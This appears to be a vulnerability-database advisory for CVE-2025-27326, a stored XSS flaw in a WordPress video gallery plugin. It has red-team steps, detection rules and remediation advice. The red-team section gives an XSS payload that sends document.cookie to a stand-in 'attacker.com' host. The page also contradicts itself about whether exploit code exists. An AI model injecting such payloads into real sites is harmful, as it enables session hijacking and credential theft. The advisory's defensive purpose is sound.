CVE-2025-27326
Executive Summary
CVE-2025-27326 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Video Gallery Block by bPlugins, affecting versions up to and including 1.1.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the video gallery block. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin directly from the directory or via the WordPress admin panel are at risk. The plugin is not distributed through NPM, PyPI, Go, or Ruby ecosystems, so no package manager-specific supply chain risks apply. However, the lack of a patch increases the risk of supply chain compromise if the plugin is used in a managed WordPress environment.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must have contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to significant downstream impacts if exploited against privileged users.
Deep Dive & Mechanics
The vulnerability exists in the video-gallery-block plugin, which provides a Gutenberg block for embedding video galleries. The plugin fails to sanitize or escape user-supplied input when rendering the block on the front end. An attacker with contributor-level access can craft a video gallery block containing malicious JavaScript in fields such as video titles, descriptions, or URLs. When the block is rendered, the unsanitized input is injected directly into the HTML, allowing the script to execute in the context of the victim's browser.
The root cause is the use of functions like echo or wp_kses_post without proper context-aware escaping, or the direct output of user input without using WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses() with a restrictive allowed HTML list.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's render callback. A typical vulnerable pattern might look like:
// Vulnerable code (hypothetical)
function video_gallery_block_render($attributes) {
$title = $attributes['title'];
echo "<h3>$title</h3>"; // No escaping
}
A patched version would use proper escaping:
// Patched code (hypothetical)
function video_gallery_block_render($attributes) {
$title = esc_html($attributes['title']);
echo "<h3>$title</h3>";
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the Video Gallery Block plugin (<=1.1.0) installed and activated.
- An account with contributor-level privileges or higher.
Exploitation Steps:
- Log in to the WordPress admin panel as a contributor.
- Create a new post or page and add the Video Gallery Block.
- In a field that is not properly sanitized (e.g., video title), inject a payload such as:
or a more sophisticated payload:<img src=x onerror=alert('XSS')><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the post as a draft.
- When an administrator or other user views the post, the script executes.
Note: No public exploit code is available; the above is a generic XSS exploitation technique.
Blue Team
Detection:
- Monitor for unusual post content containing script tags or event handlers in video gallery block fields.
- Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to
wp-admin/post.php. - Review WordPress user activity logs for suspicious post creation or editing by low-privileged users.
Hunting:
- Search the WordPress database for posts containing
<script>tags oronerror/onloadattributes in thepost_contentcolumn. - Look for the presence of the
video-gallery-blockshortcode or block in posts with unusual content.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/video-gallery-block/(presence of the plugin) - Database: Posts containing
<script>tags or event handlers in thepost_contentcolumn. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress debug log entries showing PHP warnings related to
video-gallery-block.
Detection Engineering
YARA Rule
rule CVE_2025_27326_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress Video Gallery Block plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27326"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$plugin = "video-gallery-block"
condition:
any of ($xss*) and $plugin
}
Sigma Rule
title: Stored XSS via Video Gallery Block Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using the Video Gallery Block plugin
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-27326
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/post.php'
http.body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts by authorized users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27326 Stored XSS in Video Gallery Block"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1; reference:cve,2025-27326;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Review and clean any existing posts that may contain malicious content.
- Restrict user roles – Only grant contributor access to trusted users.
Long-term Fix:
- Monitor the WordPress Plugin Directory for an update to version 1.1.1 or higher.
- Apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for this vulnerability.
- Manually add escaping to the plugin's code if you have development resources (not recommended for production without testing).
Valters IT – Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.